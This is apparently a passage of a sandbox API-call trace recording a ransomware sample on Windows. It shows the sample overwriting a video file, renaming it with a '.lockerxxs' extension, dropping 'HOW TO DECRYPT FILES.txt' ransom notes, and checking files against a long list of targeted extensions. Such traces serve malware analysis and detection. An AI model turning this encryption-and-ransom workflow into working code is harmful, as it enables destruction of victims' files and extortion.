vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0091.372] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.373] CloseHandle (hObject=0x98) returned 1 [0091.373] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\", lpString2="bBxw7hnbv9GpMjf0lDS.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv" [0091.373] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv" [0091.373] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv" [0091.373] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv." [0091.373] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv.lockerxxs" [0091.373] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\bbxw7hnbv9gpmjf0lds.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0091.374] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1898d [0091.374] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4107a270, dwHighDateTime=0x1d5e0a6), lpLastAccessTime=0x407536*(dwLowDateTime=0x39af2ef0, dwHighDateTime=0x1d5dbea), lpLastWriteTime=0x40753e*(dwLowDateTime=0x39af2ef0, dwHighDateTime=0x1d5dbea)) returned 1 [0091.374] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.374] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x18967, lpOverlapped=0x0) returned 1 [0091.377] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv") returned="bBxw7hnbv9GpMjf0lDS.mkv" [0091.378] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.378] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x18967, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x18967, lpOverlapped=0x0) returned 1 [0091.378] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.379] CloseHandle (hObject=0x98) returned 1 [0091.379] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\bbxw7hnbv9gpmjf0lds.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\bbxw7hnbv9gpmjf0lds.mkv.lockerxxs")) returned 1 [0091.380] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48cf9be0, ftCreationTime.dwHighDateTime=0x1d5e018, ftLastAccessTime.dwLowDateTime=0x9eebbab0, ftLastAccessTime.dwHighDateTime=0x1d5e4da, ftLastWriteTime.dwLowDateTime=0x9eebbab0, ftLastWriteTime.dwHighDateTime=0x1d5e4da, nFileSizeHigh=0x0, nFileSizeLow=0x139b5, dwReserved0=0xd00030e, dwReserved1=0x4e00c4, cFileName="uU-gCLFM.mkv", cAlternateFileName="")) returned 1 [0091.380] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0091.380] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="uU-gCLFM.mkv") returned -1 [0091.380] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="uU-gCLFM.mkv") returned -1 [0091.380] lstrcmpiA (lpString1="", lpString2="uU-gCLFM.mkv") returned -1 [0091.380] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\bBxw7hnbv9GpMjf0lDS.mkv") returned="bBxw7hnbv9GpMjf0lDS.mkv" [0091.381] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\" [0091.381] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\") returned="" [0091.381] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt" [0091.381] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\how to decrypt files.txt")) returned 0x20 [0091.381] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\", lpString2="uU-gCLFM.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv" [0091.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.ems") returned 0 [0091.381] lstrlenA (lpString="*.ems") returned 5 [0091.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.db") returned 0 [0091.381] lstrlenA (lpString="*.db") returned 4 [0091.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.dbf") returned 0 [0091.381] lstrlenA (lpString="*.dbf") returned 5 [0091.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.myox") returned 0 [0091.381] lstrlenA (lpString="*.myox") returned 6 [0091.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.myo") returned 0 [0091.383] lstrlenA (lpString="*.myo") returned 5 [0091.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.qbw") returned 0 [0091.383] lstrlenA (lpString="*.qbw") returned 5 [0091.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.qbb") returned 0 [0091.383] lstrlenA (lpString="*.qbb") returned 5 [0091.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.qbm") returned 0 [0091.383] lstrlenA (lpString="*.qbm") returned 5 [0091.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.qbo") returned 0 [0091.383] lstrlenA (lpString="*.qbo") returned 5 [0091.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.qbx") returned 0 [0091.383] lstrlenA (lpString="*.qbx") returned 5 [0091.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.qba") returned 0 [0091.383] lstrlenA (lpString="*.qba") returned 5 [0091.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.qby") returned 0 [0091.384] lstrlenA (lpString="*.qby") returned 5 [0091.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.qbj") returned 0 [0091.384] lstrlenA (lpString="*.qbj") returned 5 [0091.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.ofx") returned 0 [0091.384] lstrlenA (lpString="*.ofx") returned 5 [0091.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.qif") returned 0 [0091.384] lstrlenA (lpString="*.qif") returned 5 [0091.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.mye") returned 0 [0091.384] lstrlenA (lpString="*.mye") returned 5 [0091.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.mbox") returned 0 [0091.384] lstrlenA (lpString="*.mbox") returned 6 [0091.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.eml") returned 0 [0091.384] lstrlenA (lpString="*.eml") returned 5 [0091.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.pst") returned 0 [0091.384] lstrlenA (lpString="*.pst") returned 5 [0091.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.ost") returned 0 [0091.384] lstrlenA (lpString="*.ost") returned 5 [0091.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.idx") returned 0 [0091.385] lstrlenA (lpString="*.idx") returned 5 [0091.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.dbx") returned 0 [0091.385] lstrlenA (lpString="*.dbx") returned 5 [0091.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.sql") returned 0 [0091.385] lstrlenA (lpString="*.sql") returned 5 [0091.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.mdb") returned 0 [0091.385] lstrlenA (lpString="*.mdb") returned 5 [0091.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.fdb") returned 0 [0091.385] lstrlenA (lpString="*.fdb") returned 5 [0091.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.wab") returned 0 [0091.385] lstrlenA (lpString="*.wab") returned 5 [0091.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.dat") returned 0 [0091.385] lstrlenA (lpString="*.dat") returned 5 [0091.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.txt") returned 0 [0091.385] lstrlenA (lpString="*.txt") returned 5 [0091.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.jpeg") returned 0 [0091.386] lstrlenA (lpString="*.jpeg") returned 6 [0091.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.jpg") returned 0 [0091.386] lstrlenA (lpString="*.jpg") returned 5 [0091.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.png") returned 0 [0091.386] lstrlenA (lpString="*.png") returned 5 [0091.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.php") returned 0 [0091.386] lstrlenA (lpString="*.php") returned 5 [0091.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.cs") returned 0 [0091.386] lstrlenA (lpString="*.cs") returned 4 [0091.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.cpp") returned 0 [0091.386] lstrlenA (lpString="*.cpp") returned 5 [0091.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.rar") returned 0 [0091.386] lstrlenA (lpString="*.rar") returned 5 [0091.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.zip") returned 0 [0091.386] lstrlenA (lpString="*.zip") returned 5 [0091.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.html") returned 0 [0091.387] lstrlenA (lpString="*.html") returned 6 [0091.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.htm") returned 0 [0091.387] lstrlenA (lpString="*.htm") returned 5 [0091.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.xlsx") returned 0 [0091.387] lstrlenA (lpString="*.xlsx") returned 6 [0091.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.xls") returned 0 [0091.387] lstrlenA (lpString="*.xls") returned 5 [0091.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.mp4") returned 0 [0091.387] lstrlenA (lpString="*.mp4") returned 5 [0091.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.ppt") returned 0 [0091.387] lstrlenA (lpString="*.ppt") returned 5 [0091.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.pptx") returned 0 [0091.387] lstrlenA (lpString="*.pptx") returned 6 [0091.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.doc") returned 0 [0091.388] lstrlenA (lpString="*.doc") returned 5 [0091.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.dot") returned 0 [0091.388] lstrlenA (lpString="*.dot") returned 5 